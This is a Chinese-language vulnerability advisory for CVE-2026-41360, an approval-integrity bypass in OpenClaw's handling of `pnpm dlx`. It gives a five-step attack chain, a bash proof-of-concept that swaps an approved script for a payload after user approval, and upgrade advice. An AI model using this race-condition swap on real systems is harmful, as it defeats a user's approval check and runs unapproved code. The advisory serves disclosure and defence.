IPBUF安全漏洞报告
English
CVE-2026-41360 CVSS 6.7 中危

CVE-2026-41360 OpenClaw审批完整性绕过漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41360
漏洞类型
审批完整性绕过
CVSS评分
6.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

OpenClawpnpm审批绕过代码执行本地攻击

漏洞概述

OpenClaw 2026.4.2之前的版本中存在一个审批完整性绕过漏洞,该漏洞涉及`pnpm dlx`功能。由于系统未能将本地脚本操作数与`pnpm exec`流程进行一致绑定,导致安全验证机制失效。攻击者可以利用此缺陷,在脚本审批通过后、实际执行前的间隙,替换已批准的本地脚本。由于审批计划未被标记为失效,系统将执行被修改后的恶意脚本,从而破坏系统的完整性与安全性。

技术细节

该漏洞的核心在于OpenClaw处理`pnpm dlx`命令时,对本地脚本操作数的绑定机制存在逻辑缺陷。在受影响版本中,系统未能像处理`pnpm exec`流程那样,严格锁定本地脚本的路径或内容哈希值,导致“审批计划”与“实际执行”两个阶段存在逻辑上的不一致。攻击者利用这一竞态条件或路径绑定问题,可以在用户批准执行脚本后、系统实际调用该脚本之前的短暂时间窗口内,将原本经过审批的合法脚本文件替换为包含恶意代码的文件。由于系统认为审批计划仍然有效且未被篡改,它将继续执行该路径下的文件,从而导致恶意代码在本地系统上运行。这种攻击向量允许低权限攻击者在需要用户交互的情况下,绕过安全审批机制,实现对系统的全面控制,严重影响数据的机密性、完整性和服务的可用性。

攻击链分析

STEP 1
步骤1:侦察
攻击者确认目标系统使用了OpenClaw 2026.4.2之前的版本,并存在使用pnpm dlx执行本地脚本的场景。
STEP 2
步骤2:诱导
攻击者诱导具有本地低权限的用户执行pnpm dlx命令,或等待用户自发执行相关操作。
STEP 3
步骤3:等待审批
用户发起命令后,OpenClaw弹出审批提示。攻击者等待用户点击“批准”或“同意”。
STEP 4
步骤4:竞态替换
在用户批准之后、系统实际加载并执行脚本之前的极短时间窗口内,攻击者迅速将原脚本文件替换为恶意脚本。
STEP 5
步骤5:执行恶意代码
由于系统仅验证了审批计划的有效性而未重新校验文件内容,OpenClaw执行了被替换后的恶意脚本,导致攻击者获取系统权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-41360: OpenClaw Approval Integrity Bypass # This script demonstrates the race condition where a script is replaced after approval. echo "[*] Waiting for victim to approve script via pnpm dlx..." # Monitor the script file path (assumed target) TARGET_SCRIPT="./legit_tool.sh" # Loop until the file is locked or accessed/modified by the approval system inotifywait -e modify "$TARGET_SCRIPT" &>/dev/null echo "[+] Approval detected. Swapping script content with malicious payload..." # Replace the legitimate script with a malicious one cat << 'EOF' > "$TARGET_SCRIPT" #!/bin/bash # Malicious payload echo "pwned by CVE-2026-41360" > /tmp/pwned.txt whoami >> /tmp/pwned.txt EOF # Ensure execute permissions are maintained chmod +x "$TARGET_SCRIPT" echo "[*] Malicious script planted. Waiting for execution..."

影响范围

OpenClaw < 2026.4.2

防御指南

临时缓解措施
建议立即将OpenClaw升级到2026.4.2或更高版本以修复此漏洞。如果无法立即升级,应严格限制对`pnpm dlx`调用的使用,并在审批脚本后、执行前手动检查脚本内容的完整性(如比对哈希值),防止文件被恶意篡改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表